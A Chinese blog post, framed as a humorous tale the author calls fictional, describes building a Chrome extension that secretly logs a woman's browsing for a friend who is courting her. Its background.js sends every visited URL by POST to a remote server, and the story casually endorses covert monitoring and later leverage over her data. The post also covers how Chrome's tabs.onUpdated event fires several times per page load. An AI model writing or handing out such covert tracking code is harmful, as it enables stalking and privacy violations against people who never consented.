【每周一文】用Chrome插件监听你的浏览器操作

写在前面

前几天接到武阳电话,这丫给我打电话,一定没有好事。果然……

武阳正在追一90后萌妹子,80后大叔追一90后妹子,有代沟,不知道如何下手。丫的一动歪脑子,想让我帮监控妹子上网行踪,看看妹子都爱看那些话题,说约妹子时有话聊~。切~~

对于这种无理请求,我一般是直接拉黑的。

“我不就认识你,还是搞电脑的的么”。

“我都30好几的人了,找不到老婆你负责啊”。

“好不容易遇到一喜欢的,你要不帮我,不还你钱了”。

死缠乱打,外加威胁,还有各种信息骚扰。我妥协了。

“最后一次帮你,重申一次,我不是搞电脑的,我是一名程序员,请你丫尊重我的职业”,我恶狠狠的对武阳说。

最终效果

通过 chrome 扩展拿到上网记录输出日志,如下图

上网记录

核心代码

这个扩展最核心的就是background.js,几行代码搞定。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab){
//console.log(changeInfo);
//console.log(tab);
if( changeInfo.url == undefined) return;//解决onUpdated多次运行的问题
var url = tab.url;
if(url != undefined) {
// 将信息能过Ajax发送到服务器
$.ajax({
url: 'http://xxx.xxx/xxx/xxx',
type: 'POST',
data: {'url': tab.url},
//dataType: 'json',
}).done(function(msg){
console.log(msg);
}, function(e){
console.log(e);
});
}

})

遇到的问题

在使用 chrome.tabs.onUpdated.addListener 拦截 url 时,遇到了 onUpdate事件多次运行的问题,debug 了一下,发现在tab更新url的时候,会有下面的四种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//第一种 访问url,触发事件,loading
changeInfo = {status: "loading", url: "http://fxd.blogchina.com/790583846.html"}
tab = {
active:true
audible:false
autoDiscardable:true
discarded:false
height:636
highlighted:true
id:5465
incognito:false
index:7
mutedInfo:Object
openerTabId:5101
pinned:false
selected:true
status:"loading"
title:"fxd.blogchina.com/790583846.html"
url:"http://fxd.blogchina.com/790583846.html"
width:1225
windowId:1
}

//第二种 访问title,触发事件 loading
changeInfo = {title:"凯文·凯利为什么在中国独热而在硅谷从来不热?-方兴东的专栏 - 博客中国"}
tab = {
active:true
audible:false
autoDiscardable:true
discarded:false
height:636
highlighted:true
id:5465
incognito:false
index:7
mutedInfo:Object
openerTabId:5101
pinned:false
selected:true
status:"loading"
title:"凯文·凯利为什么在中国独热而在硅谷从来不热?-方兴东的专栏 - 博客中国"
url:"http://fxd.blogchina.com/790583846.html"
width:1225
windowId:1
}

//第三种 访问url结束,触发事件,complete
changeInfo = {status: "complete"}
tab = {
active:true
audible:false
autoDiscardable:true
discarded:false
height:636
highlighted:true
id:5465
incognito:false
index:7
mutedInfo:Object
openerTabId:5101
pinned:false
selected:true
status:"complete"
title:"凯文·凯利为什么在中国独热而在硅谷从来不热?-方兴东的专栏 - 博客中国"
url:"http://fxd.blogchina.com/790583846.html"
width:1225
windowId:1
}

//第四种 favIcon,触发事件,complete
changeInfo = {favIconUrl:"http://fxd.blogchina.com/favicon.ico"}
tab = {
active:true
audible:false
autoDiscardable:true
discarded:false
favIconUrl:"http://fxd.blogchina.com/favicon.ico"
height:636
highlighted:true
id:5465
incognito:false
index:7
mutedInfo:Object
openerTabId:5101
pinned:false
selected:true
status:"complete"
title:"凯文·凯利为什么在中国独热而在硅谷从来不热?-方兴东的专栏 - 博客中国"
url:"http://fxd.blogchina.com/790583846.html"
width:1225
windowId:1
}

总结

总结以上四种情况:在tab更新url

1、访问url,触发事件,loading
2、访问title,触发事件,loading
3、访问favicon,触发事件,complete
4、访问url结束,触发事件,complete

通过查看,我们可以发现,只有一次在访问url的时候,changeInfo会有url这个字段,所以可以利用这个字段来判断,让onUpdate里面的代码对每个url只运行一次,如下:

1
2
3
4
5
6
7
8
9
10
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo,tab) {
if( changeInfo.url == undefined) {
return;
}
var url = tab.url;

if(url != undefined) {
// do something
}
});

后记

代码写完,妹子顺利安装后,武阳不但乖乖还钱了,还发了我很多红包。一向嚣张的武阳变乖了吗?不是,因为我掌握着妹子的上网记录~,心情好时我会把记录推给武阳,心情不好时,有红包心情就好喽。

以上内容,纯属虚构。如需代码,请联系 entere#126.com